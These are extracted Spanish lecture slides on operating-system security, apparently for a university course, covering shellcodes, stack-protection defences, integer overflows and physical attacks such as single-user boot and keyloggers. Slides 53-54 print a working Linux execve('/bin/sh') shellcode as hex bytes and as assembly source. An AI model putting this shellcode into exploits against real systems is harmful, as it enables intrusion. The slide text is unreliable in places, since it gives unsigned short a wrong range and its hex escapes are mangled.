  • 51. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte II: Shellcodes C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash Explotaci´on local Shellcode: Ejecuta una shell Explotaci´on remota Bindshell Explotaci´on remota Reverse shell Jacobo Avariento Seguridad en Sistemas Operativos
  • 52. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte II: Shellcodes C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash Explotaci´on local Shellcode: Ejecuta una shell Explotaci´on remota Bindshell Explotaci´on remota Reverse shell Jacobo Avariento Seguridad en Sistemas Operativos
  • 53. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte II: Shellcodes /* shell sh spawner without placeholders by jack */ char shellcode2[] = "xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0c" "xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxff" "xffx2fx62x69x6ex2fx73x68"; Jacobo Avariento Seguridad en Sistemas Operativos
  • 54. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa ; nasm -f elf execve2.asm ; execve(const char *path, char *const argv[], char *const envp[]); section .text global _start _start: jmp short GotoCall shellcode: pop esi xor eax,eax mov byte [esi + 7], al ; J = 0x0 lea ebx, [esi] ; ebx = &’/bin/sh’ mov long [esi + 8], ebx ; AAAA = dir de /bin/sh mov long [esi + 12], eax ; KKKK = 0x0000 mov byte al, 0x0b ; sys_execve syscall #11 mov ebx, esi ; argv1 lea ecx, [esi + 8] ; argv2 lea edx, [esi + 12] ; argv3 int 0x80 GotoCall: call shellcode db ’/bin/shJAAAAKKKK’ Jacobo Avariento Seguridad en Sistemas Operativos
  • 55. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Intro a la defensa: Tipos Soportados por el S.O.: Antes: Direcciones virtuales fijas en tiempo de compilaci´on Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente Soportadas en compiladores: Para Visual C++ en Windows: /GS, /SafeSEH Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1: -fstack-protector-all) Soportadas por el HW + S.O.: No eXecute (NX) Jacobo Avariento Seguridad en Sistemas Operativos
  • 56. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Intro a la defensa: Tipos Soportados por el S.O.: Antes: Direcciones virtuales fijas en tiempo de compilaci´on Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente Soportadas en compiladores: Para Visual C++ en Windows: /GS, /SafeSEH Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1: -fstack-protector-all) Soportadas por el HW + S.O.: No eXecute (NX) Jacobo Avariento Seguridad en Sistemas Operativos
  • 57. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Intro a la defensa: Tipos Soportados por el S.O.: Antes: Direcciones virtuales fijas en tiempo de compilaci´on Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente Soportadas en compiladores: Para Visual C++ en Windows: /GS, /SafeSEH Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1: -fstack-protector-all) Soportadas por el HW + S.O.: No eXecute (NX) Jacobo Avariento Seguridad en Sistemas Operativos
  • 58. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Intro a la defensa: Tipos Soportados por el S.O.: Antes: Direcciones virtuales fijas en tiempo de compilaci´on Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente Soportadas en compiladores: Para Visual C++ en Windows: /GS, /SafeSEH Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1: -fstack-protector-all) Soportadas por el HW + S.O.: No eXecute (NX) Jacobo Avariento Seguridad en Sistemas Operativos
  • 59. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en Windows Hasta el XP: Nada A partir del XP se usa una cookie para detectar desbordamientos en la pila A partir del Vista Beta 2, se usa: ASLR (Address Space Layout Randomization) OJO: Cambian en cada reinicio del sistema OJO: Rango de margen: 256 bytes Jacobo Avariento Seguridad en Sistemas Operativos
  • 60. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en Windows Hasta el XP: Nada A partir del XP se usa una cookie para detectar desbordamientos en la pila A partir del Vista Beta 2, se usa: ASLR (Address Space Layout Randomization) OJO: Cambian en cada reinicio del sistema OJO: Rango de margen: 256 bytes Jacobo Avariento Seguridad en Sistemas Operativos
  • 61. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en Windows Hasta el XP: Nada A partir del XP se usa una cookie para detectar desbordamientos en la pila A partir del Vista Beta 2, se usa: ASLR (Address Space Layout Randomization) OJO: Cambian en cada reinicio del sistema OJO: Rango de margen: 256 bytes Jacobo Avariento Seguridad en Sistemas Operativos
  • 62. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en Windows Hasta el XP: Nada A partir del XP se usa una cookie para detectar desbordamientos en la pila A partir del Vista Beta 2, se usa: ASLR (Address Space Layout Randomization) OJO: Cambian en cada reinicio del sistema OJO: Rango de margen: 256 bytes Jacobo Avariento Seguridad en Sistemas Operativos
  • 63. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en GNU/Linux En la versi´on 2.6.11 se introduce VA Space Randomization Cambian las direcciones del ejecutable y las librer´ıas din´amicas vinculadas en cada carga del programa Rango de margen: 8 MB En la versi´on 2.6.25 se introduce la aleatorizaci´on de direcciones virtuales del mont´ıculo (“heap”) Jacobo Avariento Seguridad en Sistemas Operativos
  • 64. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en GNU/Linux En la versi´on 2.6.11 se introduce VA Space Randomization Cambian las direcciones del ejecutable y las librer´ıas din´amicas vinculadas en cada carga del programa Rango de margen: 8 MB En la versi´on 2.6.25 se introduce la aleatorizaci´on de direcciones virtuales del mont´ıculo (“heap”) Jacobo Avariento Seguridad en Sistemas Operativos
  • 65. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en GNU/Linux En la versi´on 2.6.11 se introduce VA Space Randomization Cambian las direcciones del ejecutable y las librer´ıas din´amicas vinculadas en cada carga del programa Rango de margen: 8 MB En la versi´on 2.6.25 se introduce la aleatorizaci´on de direcciones virtuales del mont´ıculo (“heap”) Jacobo Avariento Seguridad en Sistemas Operativos
  • 66. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Desbordamientos de enteros “Integer Overflow” Jacobo Avariento Seguridad en Sistemas Operativos
  • 67. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Tipos num´ericos y su rango en C (Signed) char [-128, 127] Unsigned char [0, 255] (Signed short) [-32768, 32767] Unsigned short [0, 4294967295] (Signed) integer [-2147483648, 2147483647] Unsigned integer [0, 4294967295] OJO integer = long en CPU de 32 bits! (Signed) long long [-9223372036854775808, 9223372036854775807] Unsigned long long [0, 18446744073709551615] Jacobo Avariento Seguridad en Sistemas Operativos
  • 68. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Tipos num´ericos y su rango en C (Signed) char [-128, 127] Unsigned char [0, 255] (Signed short) [-32768, 32767] Unsigned short [0, 4294967295] (Signed) integer [-2147483648, 2147483647] Unsigned integer [0, 4294967295] OJO integer = long en CPU de 32 bits! (Signed) long long [-9223372036854775808, 9223372036854775807] Unsigned long long [0, 18446744073709551615] Jacobo Avariento Seguridad en Sistemas Operativos
  • 69. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Tipos num´ericos y su rango en C (Signed) char [-128, 127] Unsigned char [0, 255] (Signed short) [-32768, 32767] Unsigned short [0, 4294967295] (Signed) integer [-2147483648, 2147483647] Unsigned integer [0, 4294967295] OJO integer = long en CPU de 32 bits! (Signed) long long [-9223372036854775808, 9223372036854775807] Unsigned long long [0, 18446744073709551615] Jacobo Avariento Seguridad en Sistemas Operativos
  • 70. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Ejemplo long long max_quota= 2147483647+1; // Overflow? int current_quota= get_quota(user); // Overflow? if (current_quota > max_quota) { printf(‘‘Quota exceeded.‘‘); _exit(0); } Vpopmail/QmailAdmin: http://www.sofistic.net/es/advisories/0901 Jacobo Avariento Seguridad en Sistemas Operativos
  • 71. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Ejemplo long long max_quota= 2147483647+1; // Overflow? int current_quota= get_quota(user); // Overflow? if (current_quota > max_quota) { printf(‘‘Quota exceeded.‘‘); _exit(0); } Vpopmail/QmailAdmin: http://www.sofistic.net/es/advisories/0901 Jacobo Avariento Seguridad en Sistemas Operativos
  • 72. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad F´ısica Jacobo Avariento Seguridad en Sistemas Operativos
  • 73. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 74. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 75. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 76. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 77. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 78. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el entorno: Keyloggers $54.95 Jacobo Avariento Seguridad en Sistemas Operativos
  • 79. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el entorno: Keyloggers $89.99 Jacobo Avariento Seguridad en Sistemas Operativos
  • 80. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el entorno: Efecto Tempest Fuente: http://www.cl.cam.ac.uk/ mgk25/pet2004-fpd.pdf Jacobo Avariento Seguridad en Sistemas Operativos
  • 81. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el sistema: Cifrado de datos/particiones OpenSSL LUKS TrueCrypt Jacobo Avariento Seguridad en Sistemas Operativos
  • 82. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica $ kill -9 $$ Jacobo Avariento Seguridad en Sistemas Operativos